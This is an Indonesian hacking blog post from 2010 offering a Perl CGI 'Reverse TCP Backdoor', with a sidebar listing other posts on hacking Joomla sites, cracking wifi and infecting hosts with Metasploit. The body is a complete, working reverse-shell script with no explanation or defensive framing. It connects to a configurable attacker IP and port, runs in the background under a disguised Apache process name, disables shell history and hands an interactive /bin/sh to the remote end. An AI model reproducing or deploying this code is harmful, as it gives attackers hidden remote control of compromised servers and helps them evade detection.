• Cara Hack Website Joomla
    H joomla adalah cms yang sekarang adalah merupakan cms yang paling populer, karena untuk mengintegrasi dan menjalankankannya sangat mudah,...
  • Membangun jaringan with DMZ
    Diagram Firewall DMZ Apa itu DMZ itu?   DMZ, atau De-Militarised Zone adalah semacam "Pengorbanan Anak Domba" bagi para hack...
  • membuat shell code sendiri /ilmu hacking
    sore ini dari pada ga ada kerjaan,,nunggu malam untuk nelpon cewek mending kita bikin shell code bareng,,yuk kita maik2 disini,,pertamax......
  • Melakukan setup sebuah Minecraft Server dengan cepet >> 6 step
    Assaalamualaikum war,wab, Baik disini kita akan sama-sama belajar bersama cara untuk melakukan setup server minecraft,, jika belum tahu so...
  • Reset password ubuntu 10.10 ala oz
    Assalamualaikum war, wab, Kemaren ada kasus,, temen lupa password sama username ubuntunya,, padahal itu ubuntu baru diinstal, yah,, kaya...
  • 7 Langkah remote MySQL database server : Liyan oz
    Assalamualaikum war.wab,,, kali ini Liyan bakal coba bahas masalh remote2an,,, remote ???? main RC yuk wuakakaka ah,, males ne ngelantur,...
  • Crack Wifi
    Wireless security auditing application This is a wireless security auditing application that is written in python and uses python-qt4. Thi...
  • 3.5.0 Release Notes Metasploit Statistik
    sorry alnya metasploit yang saya suka yang ini jadi post yang ini aja,,      * Metasploit kini memiliki 613 dan 306 memanfaatkan modul mod...
  • Install psyBNC & Eggdrop di cpanel bug
    kebiasaan hacker hacker kita mencari rooting adalah untuk membuat bot eggdrop atau membuat psybnc. Namun saya beranggapan bhw kebanyakan te...
  • Infect IP using METASPLOIT
    waduh baru kaku juga tangan ne ga nulis...sekarang bakal update lagi ne o2nri2nya,,,ok lanjut... ni tutorial ngebahas tentang gimana cara ...

Reverse TCP BACKDOOR

Diposkan oleh oz family Saturday, November 13, 2010

Code:
#!/usr/bin/perl -w

use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell.  Change these.
my $ip = '127.0.0.1';
my $port = 4444;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any

# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
    cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit(); 
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

edit post

Post a Comment